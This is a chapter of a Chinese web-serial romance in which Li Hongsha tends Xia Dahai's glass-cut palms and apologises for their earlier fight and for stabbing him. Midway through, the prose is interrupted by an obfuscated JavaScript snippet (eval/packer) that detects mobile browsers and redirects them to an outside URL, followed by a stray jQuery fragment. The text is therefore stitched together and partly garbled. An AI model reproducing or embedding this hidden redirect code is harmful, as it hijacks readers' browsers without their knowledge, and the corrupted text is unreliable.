20. 第 20 章

作品:《如何让我的baby看上我

    李红砂如愿吃到了她想吃的蛋饺。


    不过吃的过程不算太开心。


    今天雨后放晴,又是周末,蛮香农家乐客人不少,夏达海却还是跟个没事儿人一样,坐她对面望着她傻笑。


    这也不是第一次,以前她故意不去管,慢慢也就习惯了。


    现在不一样,夏达海坐她对面,她抬头就能看见他身上的伤。


    夏达海上身这件黑色短袖,袖子不长,胳膊上缠的绷带随着他动作,时不时隐约露出一点儿。


    她捅出来的伤还没好,他的嘴又不知道什么时候肿了。


    刚到店那会儿,好像还没有。


    看起来可怜巴巴的。


    李红砂心软,她被人惹生气,当下不论放出多少狠话,下秒别人来道歉,她立马就原谅了。


    何况夏达海没气她,是她钻牛角尖,还伤了人。


    那心就更硬不起来了。


    一看到夏达海的脸,她就有要对他好,补偿他的想法。


    见李红砂差不多吃饱了,夏达海开始着手收拾桌上的碗筷。


    摊手让她把用过的筷子拿给他的时候,李红砂眼尖,看见夏达海掌心里细微的伤口。


    又是嘴唇肿了,又是手臂被她扎了一刀,眼下手心里突然多出一些小口子来,李红砂不可能不去在意。


    这男人是瓷娃娃吗。


    不对。


    他就是有了值得上心的人,半点不再关心自己了。


    李红砂双手用上,抓住夏达海的一只手掌,怕他逃走,用力扯到眼前,仔仔细细地检查好一会儿。


    再抬头,眼圈红了些。


    看不出来是气的,还是别的什么情绪。


    “怎么弄的?”她说话声音难见的生硬。


    夏达海的手看着就糙,李红砂冷冷地哼了声,以后绝不会让他用他的手摸她的脸。


    这样粗糙的手掌,肤色还深,跟手背没多大色差,不留心观察,说不定就错过了这些敞开的小口子。


    李红砂没说,但她其实蛮喜欢夏达海的手。


    夏达海收碗盘的时候,她就多瞧了几眼,见他动作古怪,刻意没让碗沿触碰到掌心。


    李红砂感觉奇怪,但没问,等他把手摊在她面前,她才多看了几眼。


    原来里面密密麻麻地交错一些小口子,把他疼的。


    夏达海被这双清澈的眼睛怒视着,瞳孔中央隐隐浮现一个他的轮廓,心情太好。


    看情况不能笑,他稍微收敛,没隐瞒:“玻璃碴扎的。”


    李红砂顿时想起来家里院墙顶上嵌的那些碎玻璃。


    昨晚夏达海进来就进来了,她以为是院门没关紧,没多问,现在才知道,他居然是翻墙进来的。


    内疚扼制咽喉,李红砂几乎说不出话来。


    她捏着夏达海的手,拇指从伤口上点点擦过。


    刺痛袭来,夏达海一声不吭,倒不至于拿这点儿小伤在红砂面前博同情。


    不太男人。


    李红砂拉动夏达海的手,把他往她身边扯了扯。为了让她看得方便,夏达海拖张椅子过来,在她旁边坐下。


    距离又近了些。


    李红砂问他:“为什么不贴创口贴?”这种小伤口沾水最疼了。


    “小伤用不着。”


    夏达海自觉用不上那玩意儿,肩膀那种刀伤才能引起他重视,玻璃碴而已,拿镊子把玻璃取出来,喷过酒精就好了。


    李红砂颇为头疼地蹭过他的掌心。


    看着不自在,她就往他手心里小小地吹气。


    夏达海被她吹得手痒,想蜷蜷手,可手掌被李红砂紧紧攥着。


    他只好背过另一只手,同样带伤的手掌,在腰背处握紧。


    李红砂调整情绪蛮快,内疚歉疚过了,抬头压着人手掌问:“有没有需要我做的事?”


    不做点儿事补偿,她心亏。


    夏达海想不到要她做什么,只想叫她做他对象,但真说出口,她恐怕又不乐意。


    李红砂下了决心:“我可以答应你任何一件事。”


    夏达海可耻的心动了,喉结滚了滚:“我暂时没想法。”


    李红砂舒一口气:“那就存着,你有想法了跟我说。”


    “好。”夏达海的良心短暂地占据了高地,“但是,可不可以给我立个字据?”


    李红砂愣了,没记错的话,他现在在追她吧?


    叫喜欢的人给他立字据,真亏这个男人想得出来。


    李红砂不情不愿地在他找来的信笺纸上写了,落款两人煞有介事地盖了红手印。


    夏达海护宝贝似地把这张纸贴紧胸口,端了要洗的碗盘拿进里屋,不知道藏到了哪儿。


    李红砂托腮想,刚才要是夏达海趁此机会,要她做他的女朋友,她想她也是会同意的。


    反正从来没谈过恋爱,第一次谈就谈一个长相身材都不错的,她也不吃亏。


    下午无事可做,家里停电了,笔记本电脑正好需要充电,李红砂干脆驻扎在农家乐,在没客人的午后,躺在夏达海给她准备的躺椅上打盹。


    中午吃饭那一出,农家乐的员工大都知道了他们之间的关系。


    老板在追人,他们也不能拖后腿,可以午睡的几个阿姨和叔叔,都端着蚊香,拿蒲扇去了后面的员工休息室。


    把前店的空间留给两个年轻人。


    店内开了空调,风口左右摇摆,不冷不热,耳边是夏达海翻书的声音。


    李红砂的困意很快就上来了。


    视线没根据地虚落在夏达海手里那本书的书封上,又一本跟猪有关的书,叫《猪与科学》。往上目光落在他脸上,他神情认真,学习的态度不像作假。


    李红砂已经知道他为了给她确切的答案,满足她的好奇,什么都愿意做。


    但也不至于为那么个她随口而出的提问,抱着搞研究的心态,专挑“猪”类的书读吧。


    这次还好,聪明了些,选的书看封面是正经的科普书。


    转念想想,夏达海养了十几头猪,多看点儿这方面的书籍也是好事儿。


    说到书,李红砂还想起另一件事来。


    瞌睡一下清醒,她偏头换了个方向,脑袋背对着夏达海叫他的名字。


    有李红砂在身边,夏达海读书的专注拿不出平常的三分之二,立马合上书应声:“怎么了?是不是空调太冷了?”


    他们坐在风口的位置,夏达海低垂脑袋去看李红砂露在毯子外边的手臂,上面没起鸡皮疙瘩,看样子不是因为冷。


    等了会儿,李红砂小声开口:“那天的事对不起。”


    “哪天?”夏达海没印象。


    李红砂背对着他,攥紧身上的毯子:“我让你看我小说那天。”


    夏达海没出声,似乎是在等着她说话。


    李红砂破罐破摔地坐起来,转过身子面对夏达海:“那天逼你发表意见的是我,我却对你生气,下着大雨,还把你赶出我家,是我不对,对不起。”


    夏达海回忆久远的事,褐色的脸上生出赧意,那天的情况在红砂的视角下,原来是这样。


    他还以为红砂终于被他的身体吸引。


    “没关系。”夏达海回答很快。


    李红砂说:“捅你那刀并非我的本意,我当时……总之,我不是故意的,这件事也对不起。”


    夏达海还是那句回应:“没关系。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816338|175317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    李红砂满腹狐疑:“你都不生气吗?”


    夏达海弯腰倾身,手肘撑在腿上朝她靠近:“没关系。”


    这是不论她犯多大的错,他都能轻易原谅的意思。


    李红砂不清楚自己怎么突然就成了他肚里的蛔虫,好些意思,他不细说,她也猜得出来。


    没骨气。


    李红砂只在心里骂骂,她从不当人面说些不好的话,尤其夏达海现在虽然不是好老实的人了,但依旧是个好人。


    她不会对好人说坏话。


    李红砂躺回躺椅上,方才酝酿起的困意没有了,她睁着眼发呆一会儿,听见夏达海骂自己:“红砂,我可能有点蠢。”


    李红砂有些听不惯他这样说他自己:“为什么?”


    “因为那天你明明是在生气,”夏达海如今不避讳了,“我却以为我们气氛很好。”


    李红砂想说她知道,让他误以为气氛很好,也有她故意气他的成分在里面。


    这话直接说出口,似乎有点伤男人的自尊,让夏达海没面子。


    李红砂咽了回去。


    夏达海仍保持那个姿势,她偏头就能与他平视,可那样距离太近了,她感觉会失去什么,只望着顶上的天花板。


    夏达海轻柔地问:“所以,你以后生我的气了,可不可以直接告诉我?我怕我不能很快看出来,让你越来越生气。”


    好像说完觉着这个说法有些无理取闹,怎么能让生气的人主动告诉他,自己生气了。


    不想李红砂误解他,夏达海便伸手,抓住她的一只手贴在他的侧脸上:“或者,你下次生气,直接打我,我就知道了。”


    “就当给我个暗示,到时候我跪……”


    被他按住的手下滑,遮住了他的嘴。


    夏达海本来就没用多大力气,李红砂要挣脱他的手很简单。


    这不是李红砂第一次捂他的嘴了,说开面对的第一天,她做这件事的动作已经堪称娴熟。


    往往夏达海一个话头的起势,她就准备好了。


    都说城里的人会玩,她看乡下的人才叫放得开。


    夏达海要是一直像之前那样,跟她玩纯情的那套,她可能还接得住。


    毕竟她装没听见,也装了好几个月。


    现在又纯情又变态,那叫个什么事儿。


    嘴捂了就捂了,李红砂只用了一只手,夏达海还有一双眼睛。


    得不到回应,他自己会看,可怕得很。


    他看见李红砂平躺的脸上红彤彤的一片,那颗小痣好漂亮。


    夏达海生平第一次不扣脑袋就想出一个比喻来。


    她通红的脸颊,灿烂如晚霞。


    李红砂感觉到掌心里的嘴动了动,以为夏达海被她捂着不舒服,立刻收了回去。


    她没看的地方,夏达海一双黑眸暗沉沉的,就着余温,嘴唇抿了又抿,就当亲吻过她的掌心。


    李红砂从没经历过这样的感情,跟不上对方的步调,就只能按自己的想法走,她现在想劝夏达海理智些,她记得他追求者的身份,别太孟浪。


    张了嘴又觉着,夏达海可能不会听。


    她道歉那几句他就没认真听进去。


    就这样吧,李红砂看着天花板吞吞吐吐地说:“我以后生气,会……会直接告诉你的。”


    夏达海眉开眼笑。


    他的心上人,心底真善良,跟白雪公主似的。


    “还有。”


    没高兴多久,李红砂又说:“老板的确喜欢女警察。”


    夏达海愣怔一瞬:“嗯。”


    这句话似乎有别的含义,他听不懂。


    笨学生有笨学生的学法,夏达海把这句话背了下来。